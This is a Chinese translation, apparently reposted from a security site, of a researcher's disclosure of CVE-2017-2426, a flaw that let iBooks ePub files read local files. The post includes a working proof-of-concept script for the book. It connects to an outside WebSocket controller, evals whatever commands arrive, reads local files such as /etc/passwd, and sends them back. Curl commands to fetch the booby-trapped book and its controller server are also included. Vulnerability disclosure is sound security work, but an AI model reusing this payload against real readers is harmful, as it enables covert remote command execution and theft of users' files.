Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

$
0
0
【技术分享】CVE-2017-2426:苹果iBook正在利用javascript“读”你(含演示视频、POC)

2017-03-29 10:39:42
来源:s1gnalcha0s.github.io 作者:shan66

阅读:1498次
点赞(0)
收藏






【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

翻译:shan66

稿费:50RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


“是的,书很危险。它们应该是危险的——因为它们蕴含思想。”——彼得豪特曼

在前一篇关于ePub解析器的文章(即,这本书正在读你——利用支持ePub书籍格式的服务和阅读软件)中,我提到了使用ePub的脚本功能对用户执行本地攻击的话题。

苹果刚刚公布了一个安全漏洞,即我去年在iBooks上报告的一个问题:允许在打开书籍时访问用户系统上的文件。 El Capitan的iBooks将使用file://origin打开一个ePub,这将允许攻击者在打开一本书时访问用户的文件系统。 (CVE-2017-2426)

为了帮助演示如何使用这种方式对用户进行攻击,我将WebSocket客户端添加到了一本书中,以便打开该书的所有用户都将连接到一个WebSocket控制器服务器,该服务器可以为他们发送任意指令。 只要用户将书打开,ePub中的WebSocket客户端就处于允许访问的状态(如果向用户提供了值得阅读的内容的话,那么电子书就很可能会长时间处于打开状态)。

例如,向用户发送一本图书:


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

打开书籍时,iBooks将连接到WebSocket控制器:


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

连接到WebSockets控制器的iBooks。如果阅读器含有CVE-2017-2426(file://origin)漏洞的话,则攻击者就可以获取本地文件了:


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

演示视频


POC

您可以使用这里的POC书亲自试验一下。 您可以在Apple iBooks或Adobe Digital Editions等阅读器中打开它。


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

免责声明:虽然POC将连接到我的控制器,但我保证不会干任何坏事。

您也可以修改它,使其指向自己的控制器:

curlhttps://s1gnalcha0s.github.io/assets/controller/POC.epub-opoc.epub unzippoc.epub;rmpoc.epub

poc.epub/epub/main.js的内容

WebSocketController='ws://websocket-controller.herokuapp.com:80'; varsocket=newWebSocket(WebSocketController,'echo-protocol'); socket.onopen=function(evt){onopen()}; socket.onmessage=function(msg){onmessage(msg)}; socket.onclose=function(evt){onerror()} functiononopen() { message('ConnectedtoWebSocketController:'+WebSocketController); } functiononerror() { message('UnabletoconnecttoWebSocketController:'+WebSocketController); } functiononmessage(msg) { //justevalanythingsentfromthecontroller response=eval(msg.data); //sendresponsebacktocontroller socket.send(response); } functionget(loc){ varxmlhttp=newXMLHttpRequest(); xmlhttp.open('GET','file://'+loc,false); xmlhttp.send(); //populatethemessageelement message(xmlhttp.responseText); returnxmlhttp.responseText; } functionmessage(message){ document.getElementById("message").innerText=message; returnmessage; } functionshowExfil(){ get('/etc/passwd'); } zip-rpoc.epub*

Node.js WebSocket控制器

curlhttps://s1gnalcha0s.github.io/assets/controller/server.js-oserver.js npminstallwebsocket nodeserver.js

本文到此就结束了,祝阅读愉快!


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)
【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images